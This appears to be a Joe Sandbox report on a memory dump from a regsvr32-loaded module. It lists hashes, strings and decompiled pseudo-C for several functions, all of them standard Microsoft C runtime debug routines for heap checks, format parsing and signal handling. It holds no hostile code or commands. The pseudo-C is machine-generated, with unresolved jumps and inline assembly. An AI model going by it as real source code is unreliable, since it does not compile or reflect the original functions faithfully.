Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _free_base_malloc_base
String ID:
API String ID: 3824334587-0
Opcode ID: f253414e3849525c296ec210365ea501a1b810d2bb56cf35f247e52024ae0b7b
Instruction ID: 495d8382669efda2ae004298a380b2f700874c64e4d866c5cb6fbd4b09cb9029
Opcode Fuzzy Hash: f253414e3849525c296ec210365ea501a1b810d2bb56cf35f247e52024ae0b7b
Instruction Fuzzy Hash: AC312D3191D68285E7E49B60EC0437EA3E1F7853A4F214535A6DE466F5CFBEE4809B01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D263E0 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 143COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D26476

Strings

Bad memory block found at 0x%p.Memory allocated at %hs(%d)., xrefs: 000007FEF9D265D4
state != NULL, xrefs: 000007FEF9D26412, 000007FEF9D2646F
Bad memory block found at 0x%p., xrefs: 000007FEF9D26603
_CrtMemCheckpoint, xrefs: 000007FEF9D26468
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c, xrefs: 000007FEF9D26427, 000007FEF9D26461

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: Bad memory block found at 0x%p.$Bad memory block found at 0x%p.Memory allocated at %hs(%d).$_CrtMemCheckpoint$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c$state != NULL
API String ID: 2123368286-817335350
Opcode ID: 3b86e21d312907f031a9c3af8c0eef3d8af61768b64ebe8bc9406c081913c3b7
Instruction ID: bdf1888ae082cb337f1151e8154f2efa45ef3de29dcf6e6b26155e3a2b634fb1
Opcode Fuzzy Hash: 3b86e21d312907f031a9c3af8c0eef3d8af61768b64ebe8bc9406c081913c3b7
Instruction Fuzzy Hash: 6461FB36A18B4586EB64CB19E89132E77A0F785794F714126EBCD83BB4CB3ED451CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2CFF0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 138
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E000007FE7FEF9D2CFF0(intOrPtr _a8) {
				intOrPtr _v24;
				long long _v48;
				long long _v64;
				intOrPtr _t21;

				_a8 = _t21;
				_v48 = 0;
				_v64 = 0;
				_v24 = _a8;
				_v24 = _v24 - 2;
				if (_v24 - 0x14 > 0) goto 0xf9d2d13e;
				goto __rax;
			}

0x7fef9d2cff0
0x7fef9d2cff8
0x7fef9d2d000
0x7fef9d2d010
0x7fef9d2d01b
0x7fef9d2d024
0x7fef9d2d048

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D2D1C9

Strings

("Invalid signal or error", 0), xrefs: 000007FEF9D2D165, 000007FEF9D2D1C2
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\winsig.c, xrefs: 000007FEF9D2D17A, 000007FEF9D2D1B4
raise, xrefs: 000007FEF9D2D1BB

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: ("Invalid signal or error", 0)$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\winsig.c$raise
API String ID: 2123368286-2245755083
Opcode ID: 18adc300c2b93f7eab7b819d563e90f5c41814788a4c43fa347d2340d41b98cd
Instruction ID: 19b7c93d4736ed7bda32945b1fb5f0ab86c56f1dc684690d029957412a3b2f1f
Opcode Fuzzy Hash: 18adc300c2b93f7eab7b819d563e90f5c41814788a4c43fa347d2340d41b98cd
Instruction Fuzzy Hash: 8C71E83291C786CAE7A09F58E84476EB7E0F785754F214135E6CA47BA4CB3EE448CB11

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D25AD9 Relevance: 12.3, APIs: 1, Strings: 6, Instructions: 77memoryCOMMON

Download Yara Rule

APIs

_CrtIsValidHeapPointer.LIBCMTD ref: 000007FEF9D25B35

Strings

_BLOCK_TYPE_IS_VALID(pHead->nBlockUse), xrefs: 000007FEF9D25BB4
L7, xrefs: 000007FEF9D25C0F
_CrtCheckMemory(), xrefs: 000007FEF9D25ADD
LX, xrefs: 000007FEF9D25B5F
_CrtIsValidHeapPointer(pUserData), xrefs: 000007FEF9D25B3E
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c, xrefs: 000007FEF9D25AF2, 000007FEF9D25B53, 000007FEF9D25BC9

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: HeapPointerValid
String ID: _BLOCK_TYPE_IS_VALID(pHead->nBlockUse)$_CrtCheckMemory()$_CrtIsValidHeapPointer(pUserData)$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c$L7$LX
API String ID: 299318057-1988567080
Opcode ID: 449abee572b00c001843884aa05b8e5cdaea28f8affc6eceb55751fcc4bbfe52
Instruction ID: 366f9875c4733d956d5456637ee1c03ed06e45eb4220731ed3e90847f50651e0
Opcode Fuzzy Hash: 449abee572b00c001843884aa05b8e5cdaea28f8affc6eceb55751fcc4bbfe52
Instruction Fuzzy Hash: FB314D36A1874A86EBE48B59E84172E67D1F785784F614036EACD83BB4DB3FD440CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2C7E9 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

_realloc_dbg.LIBCMTD ref: 000007FEF9D2C86D
_realloc_dbg.LIBCMTD ref: 000007FEF9D2C8B8
EncodePointer.KERNEL32 ref: 000007FEF9D2C8FF
EncodePointer.KERNEL32 ref: 000007FEF9D2C911
EncodePointer.KERNEL32 ref: 000007FEF9D2C932

Strings

}, xrefs: 000007FEF9D2C84E
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\onexit.c, xrefs: 000007FEF9D2C856, 000007FEF9D2C8A1

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: EncodePointer$_realloc_dbg
String ID: f:\dd\vctools\crt_bld\self_64_amd64\crt\src\onexit.c$}
API String ID: 429494535-1858280179
Opcode ID: 950a78d59f72efd3ce43bd8456283c625fce50364ef15d6a0f5e845d51c15c3f
Instruction ID: 6b22acafcb165364cee05dc597c268ac6a46098997f00e2a063c2d8cfde95e66
Opcode Fuzzy Hash: 950a78d59f72efd3ce43bd8456283c625fce50364ef15d6a0f5e845d51c15c3f
Instruction Fuzzy Hash: D441B836619B8586DA90CB59F88432EB7E4F7C9794F201025EACE43B68DF7ED4958B00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3E16F Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 259COMMON

Download Yara Rule

APIs

get_int64_arg.LIBCMTD ref: 000007FEF9D3E1BC

Strings

_woutput_s_l, xrefs: 000007FEF9D3DBD6
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: get_int64_arg
String ID: ("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 1967237116-734865713
Opcode ID: c2425827690f07a93f69eb38b450ff2678cd23c1eb01a19a01dfffa3a40938e6
Instruction ID: ca3ec57313c22d844cddba0ccc7478434e3ff2f5ac626f229199dffed11d05c2
Opcode Fuzzy Hash: c2425827690f07a93f69eb38b450ff2678cd23c1eb01a19a01dfffa3a40938e6
Instruction Fuzzy Hash: 83D1CA72A0CAC686E7B18B55E8407AFB7E0F384355F600126E6DD87AA9DB7DE440CF14

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3DF8D Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 218
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E000007FE7FEF9D3DF8D(signed short _a1208, signed int _a1412) {

				_a1412 = _a1208 & 0x0000ffff;
				_a1412 = _a1412 - 0x41;
				if (_a1412 - 0x37 > 0) goto 0xf9d3ea2a;
				goto __rax;
			}

0x7fef9d3df95
0x7fef9d3dfa6
0x7fef9d3dfb5
0x7fef9d3dfdc

Strings

_woutput_s_l, xrefs: 000007FEF9D3DBD6
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
7, xrefs: 000007FEF9D3DFAD
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID:
String ID: ("Incorrect format specifier", 0)$7$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 0-1585035072
Opcode ID: 0bf90205098d20be4f4e59ab582b3189e67a2fe65aecfe549d1a450604364a50
Instruction ID: 7092a431cc2f14586a5b6039053772aca43f1c1a92c9fb0ada713ca2b75f96be
Opcode Fuzzy Hash: 0bf90205098d20be4f4e59ab582b3189e67a2fe65aecfe549d1a450604364a50
Instruction Fuzzy Hash: 93B10D7260CAC286E7B1DB55E8417AFB7E0F784356F104026EAC987AA9DB7DE444CF10

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D38350 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 178COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D38420
_invalid_parameter.LIBCMTD ref: 000007FEF9D384CA

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vswprint.c, xrefs: 000007FEF9D383D1, 000007FEF9D3840B, 000007FEF9D3847B, 000007FEF9D384B5
_vswprintf_helper, xrefs: 000007FEF9D38412, 000007FEF9D384BC
(format != NULL), xrefs: 000007FEF9D383BC, 000007FEF9D38419
(count == 0) || (string != NULL), xrefs: 000007FEF9D38466, 000007FEF9D384C3

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (count == 0) || (string != NULL)$(format != NULL)$_vswprintf_helper$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vswprint.c
API String ID: 2123368286-1876092940
Opcode ID: 9846629aa5f9262a1bee0fdfcec26bb25970a0f61289143976d8b215326cf8ff
Instruction ID: 5b23c079d1b4d794af0cdd69ad2b30100ea5e3abf5a9ef6833dde17c78c07454
Opcode Fuzzy Hash: 9846629aa5f9262a1bee0fdfcec26bb25970a0f61289143976d8b215326cf8ff
Instruction Fuzzy Hash: 40911E32618B85CAE7A48B15E84476E77E0F384795F208525E6DE87BB4DB3ED444CF01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3BE32 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 173
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E000007FE7FEF9D3BE32(signed int _a80, signed int _a696, intOrPtr _a704, char _a972, signed int _a976, void* _a1096) {

				_a972 = _a696 & 0x000000ff;
				if (_a972 == 0x49) goto 0xf9d3beb7;
				if (_a972 == 0x68) goto 0xf9d3bfc0;
				if (_a972 == 0x6c) goto 0xf9d3be76;
				if (_a972 == 0x77) goto 0xf9d3bfcd;
				goto 0xf9d3bfd9;
				if ( *_a1096 != 0x6c) goto 0xf9d3bea7;
				_a1096 = _a1096 + 1;
				asm("bts eax, 0xc");
				goto 0xf9d3beb2;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xf");
				if ( *_a1096 != 0x36) goto 0xf9d3bf09;
				if ( *((char*)(_a1096 + 1)) != 0x34) goto 0xf9d3bf09;
				_a1096 = _a1096 + 2;
				asm("bts eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 != 0x33) goto 0xf9d3bf4c;
				if ( *((char*)(_a1096 + 1)) != 0x32) goto 0xf9d3bf4c;
				_a1096 = _a1096 + 2;
				asm("btr eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 == 0x64) goto 0xf9d3bfac;
				if ( *_a1096 == 0x69) goto 0xf9d3bfac;
				if ( *_a1096 == 0x6f) goto 0xf9d3bfac;
				if ( *_a1096 == 0x75) goto 0xf9d3bfac;
				if ( *_a1096 == 0x78) goto 0xf9d3bfac;
				if ( *_a1096 != 0x58) goto 0xf9d3bfae;
				goto 0xf9d3bfbe;
				_a704 = 0;
				goto E000007FE7FEF9D3BB66;
				goto 0xf9d3bfd9;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xb");
				_a976 = _a696;
				_a976 = _a976 - 0x41;
				if (_a976 - 0x37 > 0) goto 0xf9d3ca31;
				goto __rax;
			}

0x7fef9d3be3a
0x7fef9d3be49
0x7fef9d3be53
0x7fef9d3be61
0x7fef9d3be6b
0x7fef9d3be71
0x7fef9d3be84
0x7fef9d3be91
0x7fef9d3be9d
0x7fef9d3bea5
0x7fef9d3beae
0x7fef9d3beb2
0x7fef9d3bebb
0x7fef9d3bed1
0x7fef9d3bee2
0x7fef9d3bef0
0x7fef9d3befc
0x7fef9d3bf04
0x7fef9d3bf17
0x7fef9d3bf28
0x7fef9d3bf36
0x7fef9d3bf42
0x7fef9d3bf4a
0x7fef9d3bf5a
0x7fef9d3bf6a
0x7fef9d3bf7a
0x7fef9d3bf8a
0x7fef9d3bf9a
0x7fef9d3bfaa
0x7fef9d3bfac
0x7fef9d3bfae
0x7fef9d3bfb9
0x7fef9d3bfbe
0x7fef9d3bfc7
0x7fef9d3bfcb
0x7fef9d3bfd1
0x7fef9d3bfe6
0x7fef9d3bff7
0x7fef9d3c006
0x7fef9d3c02d

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3BB09
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3BB1E

Strings

("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
w, xrefs: 000007FEF9D3BE63
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4
_output_s_l, xrefs: 000007FEF9D3BAFB

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__invalid_parameter
String ID: ("Incorrect format specifier", 0)$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c$w
API String ID: 530996419-3826063230
Opcode ID: 6f4341bf75342723462239bb8ed84b432b5f9ccd09e3c394fa39f7378907594f
Instruction ID: d6c85ddd6a9fac6d59453cfc6279b165f514207326055716b4e5bf0dd1bf0ecb
Opcode Fuzzy Hash: 6f4341bf75342723462239bb8ed84b432b5f9ccd09e3c394fa39f7378907594f
Instruction Fuzzy Hash: 0A916F72A0D6C68AE3F08B54E88477EB7E4E385342F601026D7CD87AA9CB7ED5418F11

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3DDE0 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 173
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E000007FE7FEF9D3DDE0(signed int _a80, signed int _a1208, intOrPtr _a1216, signed int _a1408, signed int _a1412, signed short* _a1544) {

				_a1408 = _a1208 & 0x0000ffff;
				if (_a1408 == 0x49) goto 0xf9d3de66;
				if (_a1408 == 0x68) goto 0xf9d3df6f;
				if (_a1408 == 0x6c) goto 0xf9d3de24;
				if (_a1408 == 0x77) goto 0xf9d3df7c;
				goto 0xf9d3df88;
				if (( *_a1544 & 0x0000ffff) != 0x6c) goto 0xf9d3de56;
				_a1544 =  &(_a1544[1]);
				asm("bts eax, 0xc");
				goto 0xf9d3de61;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3df88;
				asm("bts eax, 0xf");
				if (( *_a1544 & 0x0000ffff) != 0x36) goto 0xf9d3deb8;
				if ((_a1544[1] & 0x0000ffff) != 0x34) goto 0xf9d3deb8;
				_a1544 =  &(_a1544[2]);
				asm("bts eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) != 0x33) goto 0xf9d3defb;
				if ((_a1544[1] & 0x0000ffff) != 0x32) goto 0xf9d3defb;
				_a1544 =  &(_a1544[2]);
				asm("btr eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) == 0x64) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x69) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x6f) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x75) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x78) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) != 0x58) goto 0xf9d3df5d;
				goto 0xf9d3df6d;
				_a1216 = 0;
				goto E000007FE7FEF9D3DC41;
				goto 0xf9d3df88;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3df88;
				asm("bts eax, 0xb");
				_a1412 = _a1208 & 0x0000ffff;
				_a1412 = _a1412 - 0x41;
				if (_a1412 - 0x37 > 0) goto 0xf9d3ea2a;
				goto __rax;
			}

0x7fef9d3dde8
0x7fef9d3ddf7
0x7fef9d3de01
0x7fef9d3de0f
0x7fef9d3de19
0x7fef9d3de1f
0x7fef9d3de32
0x7fef9d3de40
0x7fef9d3de4c
0x7fef9d3de54
0x7fef9d3de5d
0x7fef9d3de61
0x7fef9d3de6a
0x7fef9d3de80
0x7fef9d3de91
0x7fef9d3de9f
0x7fef9d3deab
0x7fef9d3deb3
0x7fef9d3dec6
0x7fef9d3ded7
0x7fef9d3dee5
0x7fef9d3def1
0x7fef9d3def9
0x7fef9d3df09
0x7fef9d3df19
0x7fef9d3df29
0x7fef9d3df39
0x7fef9d3df49
0x7fef9d3df59
0x7fef9d3df5b
0x7fef9d3df5d
0x7fef9d3df68
0x7fef9d3df6d
0x7fef9d3df76
0x7fef9d3df7a
0x7fef9d3df80
0x7fef9d3df95
0x7fef9d3dfa6
0x7fef9d3dfb5
0x7fef9d3dfdc

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3DBE4
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3DBF9

Strings

_woutput_s_l, xrefs: 000007FEF9D3DBD6
w, xrefs: 000007FEF9D3DE11
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__invalid_parameter
String ID: ("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c$w
API String ID: 530996419-4206863317
Opcode ID: ea911f3e0001a33c00663cb6cc71ee2ff701874ce847a4c399e41a1539880d37
Instruction ID: 52af39986bd237b596cdecada1f5af7c0900048515ebe490badd59f4da94dd67
Opcode Fuzzy Hash: ea911f3e0001a33c00663cb6cc71ee2ff701874ce847a4c399e41a1539880d37
Instruction Fuzzy Hash: 35910A62A0C6C18AE7F08B55E88077EB3E1F385756F600026E6CD87AA4DB7ED855DF10

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3BCFA Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 111
COMMON

Download Yara Rule

C-Code - Quality: 27%

			E000007FE7FEF9D3BCFA(signed int _a80, signed int _a88, intOrPtr _a116, signed int _a696, intOrPtr _a704, char _a968, char _a972, signed int _a976, void* _a1096, char _a1112) {
				void* _t171;
				char* _t191;
				char* _t192;

				_a968 = _a696 & 0x000000ff;
				if (_a968 == 0x20) goto 0xf9d3bd57;
				if (_a968 == 0x23) goto 0xf9d3bd64;
				if (_a968 == 0x2b) goto 0xf9d3bd4a;
				if (_a968 == 0x2d) goto 0xf9d3bd3d;
				if (_a968 == 0x30) goto 0xf9d3bd72;
				goto 0xf9d3bd7d;
				_a80 = _a80 | 0x00000004;
				goto 0xf9d3bd7d;
				_a80 = _a80 | 0x00000001;
				goto 0xf9d3bd7d;
				_a80 = _a80 | 0x00000002;
				goto 0xf9d3bd7d;
				asm("bts eax, 0x7");
				goto 0xf9d3bd7d;
				_a80 = _a80 | 0x00000008;
				if (_a696 != 0x2a) goto 0xf9d3bdbe;
				_t191 =  &_a1112;
				_a88 = E000007FE7FEF9D31E40(_t191);
				if (_a88 >= 0) goto 0xf9d3bdbc;
				_a80 = _a80 | 0x00000004;
				_a88 =  ~_a88;
				goto 0xf9d3bdd5;
				_a88 = _t171 + _t191 - 0x30;
				_a116 = 0;
				if (_a696 != 0x2a) goto 0xf9d3be16;
				_t192 =  &_a1112;
				_a116 = E000007FE7FEF9D31E40(_t192);
				if (_a116 >= 0) goto 0xf9d3be14;
				_a116 = 0xffffffff;
				goto 0xf9d3be2d;
				_a116 = _t171 + _t192 - 0x30;
				_a972 = _a696 & 0x000000ff;
				if (_a972 == 0x49) goto 0xf9d3beb7;
				if (_a972 == 0x68) goto 0xf9d3bfc0;
				if (_a972 == 0x6c) goto 0xf9d3be76;
				if (_a972 == 0x77) goto 0xf9d3bfcd;
				goto 0xf9d3bfd9;
				if ( *_a1096 != 0x6c) goto 0xf9d3bea7;
				_a1096 = _a1096 + 1;
				asm("bts eax, 0xc");
				goto 0xf9d3beb2;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xf");
				if ( *_a1096 != 0x36) goto 0xf9d3bf09;
				if ( *((char*)(_a1096 + 1)) != 0x34) goto 0xf9d3bf09;
				_a1096 = _a1096 + 2;
				asm("bts eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 != 0x33) goto 0xf9d3bf4c;
				if ( *((char*)(_a1096 + 1)) != 0x32) goto 0xf9d3bf4c;
				_a1096 = _a1096 + 2;
				asm("btr eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 == 0x64) goto 0xf9d3bfac;
				if ( *_a1096 == 0x69) goto 0xf9d3bfac;
				if ( *_a1096 == 0x6f) goto 0xf9d3bfac;
				if ( *_a1096 == 0x75) goto 0xf9d3bfac;
				if ( *_a1096 == 0x78) goto 0xf9d3bfac;
				if ( *_a1096 != 0x58) goto 0xf9d3bfae;
				goto 0xf9d3bfbe;
				_a704 = 0;
				goto E000007FE7FEF9D3BB66;
				goto 0xf9d3bfd9;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xb");
				_a976 = _a696;
				_a976 = _a976 - 0x41;
				if (_a976 - 0x37 > 0) goto 0xf9d3ca31;
				goto __rax;
			}

0x7fef9d3bd02
0x7fef9d3bd11
0x7fef9d3bd1b
0x7fef9d3bd25
0x7fef9d3bd2f
0x7fef9d3bd39
0x7fef9d3bd3b
0x7fef9d3bd44
0x7fef9d3bd48
0x7fef9d3bd51
0x7fef9d3bd55
0x7fef9d3bd5e
0x7fef9d3bd62
0x7fef9d3bd68
0x7fef9d3bd70
0x7fef9d3bd79
0x7fef9d3bd8d
0x7fef9d3bd8f
0x7fef9d3bd9c
0x7fef9d3bda5
0x7fef9d3bdae
0x7fef9d3bdb8
0x7fef9d3bdbc
0x7fef9d3bdd1
0x7fef9d3bdda
0x7fef9d3bdf2
0x7fef9d3bdf4
0x7fef9d3be01
0x7fef9d3be0a
0x7fef9d3be0c
0x7fef9d3be14
0x7fef9d3be29
0x7fef9d3be3a
0x7fef9d3be49
0x7fef9d3be53
0x7fef9d3be61
0x7fef9d3be6b
0x7fef9d3be71
0x7fef9d3be84
0x7fef9d3be91
0x7fef9d3be9d
0x7fef9d3bea5
0x7fef9d3beae
0x7fef9d3beb2
0x7fef9d3bebb
0x7fef9d3bed1
0x7fef9d3bee2
0x7fef9d3bef0
0x7fef9d3befc
0x7fef9d3bf04
0x7fef9d3bf17
0x7fef9d3bf28
0x7fef9d3bf36
0x7fef9d3bf42
0x7fef9d3bf4a
0x7fef9d3bf5a
0x7fef9d3bf6a
0x7fef9d3bf7a
0x7fef9d3bf8a
0x7fef9d3bf9a
